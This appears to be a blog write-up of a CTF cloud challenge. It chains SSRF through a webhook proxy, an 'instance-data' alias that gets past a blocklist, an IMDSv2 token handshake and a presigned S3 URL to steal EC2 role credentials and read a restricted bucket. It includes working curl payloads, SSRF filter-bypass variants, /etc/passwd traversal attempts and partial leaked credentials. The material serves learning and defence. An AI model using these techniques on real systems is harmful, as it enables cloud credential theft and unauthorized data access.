Skip to main content

Command Palette

Search for a command to run...

FAM CTF : The Cloud writeup

Updated
•7 min read•View as Markdown
FAM CTF : The Cloud writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

The target exposed a webhook endpoint (/internal/webhook) meant to act as an internal-only proxy, blocking direct requests to private and link-local IP ranges. That blocklist checked resolved IPs but missed a legacy EC2-internal DNS alias (instance-data) that still resolves to the IMDS service. Since the webhook transparently forwarded HTTP methods and headers, it was possible to complete the full IMDSv2 token handshake (PUT for a token, then GET with that token) through the SSRF, stealing the EC2 instance role's temporary AWS credentials. Those credentials could list the target S3 bucket but not read objects directly, due to a bucket policy restricting GetObject to requests originating from inside the VPC. Generating a SigV4 presigned URL locally and then replaying it through the same SSRF let the EC2 instance itself issue the final GET, satisfying the VPC-source condition and returning the flag.

Flag: FAM{cl0ud_ssrf_imds_aacb179e691f}


Poking at the app

Started by just hitting the root page:

curl http://13.206.97.85/

This returned a dashboard HTML page listing a handful of API routes: /status, /metrics/system, /metrics/config, /metrics/endpoints, and a POST-only /internal/webhook. Walked through them one at a time.

curl http://13.206.97.85/status | jq

Just health/version info, nothing interesting.

curl http://13.206.97.85/metrics/system | jq

This leaked the box's internal hostname: ip-10-20-1-112.ap-south-1.compute.internal. Filed that away.

curl http://13.206.97.85/metrics/config | jq

This was the important one. It dumped a config blob including:

"identity": {
  "imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "note": "credentials scoped to storage prefix only",
  "provider": "ec2-instance-metadata"
},
"storage": {
  "backend": "s3",
  "bucket": "fam-ctf-cloud-challenge",
  "note": "bucket access restricted to requests originating from within vpc",
  "prefix": "players/2301"
}

So the goal became clear early: get to IMDS, get creds, use them on that bucket.

curl http://13.206.97.85/metrics/endpoints | jq

Confirmed the route list, and noticed /internal/webhook accepts GET, POST, and PUT - odd for a webhook, and that detail mattered later.

curl http://13.206.97.85/internal/webhook | jq

Calling it with no params returned its own documentation:

{"note": "Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
 "usage": "POST /internal/webhook?url=<target>"}

Classic SSRF proxy. Time to see what it actually blocks.

Fighting the filter

curl 'http://13.206.97.85/internal/webhook?url=http://192.168.29.189/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://localhost/' | jq

All three came back identically:

{"error": "Direct access to internal IP ranges is not allowed.",
 "hint": "Try harder. The instance has a name."}

Even the IMDS IP itself got blocked, despite the docs claiming it was allowed - so that "usage note" was misleading, not a real permission. Tried the usual SSRF bypass tricks next, on the theory the filter might just be doing a dumb string match on the URL:

curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://2852039166/latest/meta-data/iam/security-credentials/' | jq        # decimal IP
curl 'http://13.206.97.85/internal/webhook?url=http://0xa9fea9fe/latest/meta-data/iam/security-credentials/' | jq        # hex IP
curl 'http://13.206.97.85/internal/webhook?url=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://ip-10-20-1-112.ap-south-1.compute.internal/' | jq

Every single one got blocked with the exact same error. That was actually a useful negative result - it meant the filter wasn't doing naive string matching, it was resolving DNS and checking the resulting IP against a private/link-local blocklist. All the tricks above still resolve to a blocked IP, so of course they failed.

Also tried path traversal on the static file route, just to rule out an easier bug:

curl -m 10 'http://13.206.97.85/static/..%2f..%2f..%2f..%2fetc%2fpasswd'
curl -m 10 'http://13.206.97.85/static/....//....//....//....//etc/passwd'
curl -m 10 --path-as-is 'http://13.206.97.85/static/../../../../etc/passwd'

All 404s - Flask normalizes ../ in routing before the traversal even reaches the handler, so that was a dead end.

Then tried pivoting straight to the public S3 endpoint, since *.amazonaws.com was supposedly allowed:

curl -m 20 'http://13.206.97.85/internal/webhook?url=http://fam-ctf-cloud-challenge.s3.amazonaws.com/' | jq

This one didn't get the filter's rejection message at all - it just hung and timed out. That told me the URL passed validation, but the box has no real route to the public internet (no NAT/IGW), so straight-to-S3 wasn't going to work either.

The actual bypass

Kept coming back to that hint: "the instance has a name." Already tried the compute.internal hostname and it got blocked (since it still resolves to the private IP). But there's an older, less common EC2-internal DNS alias for the metadata service specifically:

curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/' | jq

This got through:

{"status": 401, "url": "http://instance-data/latest/meta-data/iam/security-credentials/"}

Not blocked by the filter anymore - a real 401 coming back from IMDS itself. Checked the plain metadata root too, same 401:

curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/' | jq

A 401 straight from IMDS on a GET usually means IMDSv2 is enforced - it wants a session token first via a PUT to /latest/api/token. Tested whether the webhook would even forward a PUT and a custom header:

curl -m 15 -X POST 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq

Got a 405 back (wrong method, as expected for IMDSv2's token endpoint), which at least confirmed the webhook was passing my HTTP method through to the target. Switched to PUT with the required header:

curl -m 15 -X PUT 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq

That worked - got a token back:

{"status": 200, "body": "AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=="}

So the webhook wasn't just forwarding methods, it was forwarding headers too. Used the token to list the role name:

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq

Got back ctf-cloud-player-2301 as the role name, then fetched the actual credentials:

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-2301' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq

This returned a full set of temporary AWS creds - AccessKeyId, SecretAccessKey, and a session Token.

Using the stolen creds

Exported them and confirmed identity:

export AWS_ACCESS_KEY_ID="ASIAYLZKVQD4NQMHDXAX"
export AWS_SECRET_ACCESS_KEY="VvZ1mpWVdZYY0FCK50Vkgi7eC8UJYi3bvNhbs3t9"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEP3//////////wEaCmFwLXNvdXRoLTE..."
export AWS_DEFAULT_REGION="ap-south-1"

aws sts get-caller-identity

Confirmed as assumed-role/ctf-cloud-player-2301/i-04c1f26c2a1c61a25. Listed the bucket:

aws s3 ls s3://fam-ctf-cloud-challenge/players/2301/ --recursive

Found players/2301/flag.txt. But actually reading it was blocked:

aws s3 cp s3://fam-ctf-cloud-challenge/players/2301/flag.txt -
An error occurred (403) when calling the HeadObject operation: Forbidden

Tried the lower-level API call in case it was just a HeadObject quirk:

aws s3api get-object --bucket fam-ctf-cloud-challenge --key players/2301/flag.txt flag.txt
AccessDenied ... with an explicit deny in a resource-based policy

That "explicit deny in a resource-based policy" matched the earlier hint about the bucket only allowing requests that originate from inside the VPC. ListBucket apparently wasn't covered by that condition (which is why listing worked), but GetObject was.

Getting past the VPC restriction

The fix: a SigV4 presigned URL bakes the signature into the query string, so whoever actually sends the HTTP request is what matters for the source-IP condition - not whoever generated the signature. Generated one locally:

aws s3 presign s3://fam-ctf-cloud-challenge/players/2301/flag.txt --expires-in 300

Then replayed that entire presigned URL through the SSRF webhook, so the actual GET would be issued by the EC2 instance itself (which is inside the VPC):

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/2301/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=...&X-Amz-Signature=...' | jq

That came back with status: 200 and the flag in the body:

FAM{cl0ud_ssrf_imds_aacb179e691f}

Root causes

  • The webhook is a proxy that fetches attacker-controlled URLs server-side - classic SSRF.
  • The IP-range blocklist checks resolved DNS but missed the legacy instance-data alias, which still points at the metadata service.
  • IMDSv2 didn't actually stop anything here, because the SSRF proxy transparently forwards HTTP method and headers, so the full token-then-fetch handshake could be completed remotely through it.
  • The S3 bucket policy's VPC-source restriction only checks where the request physically comes from, and the SSRF gave a way to originate a request from inside that trusted boundary.

FAM CTF

Part 1 of 3

Complete FAM CTF writeups featuring web, cloud, cryptography, reverse engineering, OSINT, forensics, binary exploitation, and miscellaneous challenges with detailed step-by-step solutions.

Up next

FAM CTF: The Library to The Endpoint Writeup

Executive Summary FAM is a mobile CTF challenge distributed as an Android APK (fam-ctf.apk) with four staged flags, each themed around a different layer of the app's Firebase backend: The Library (nat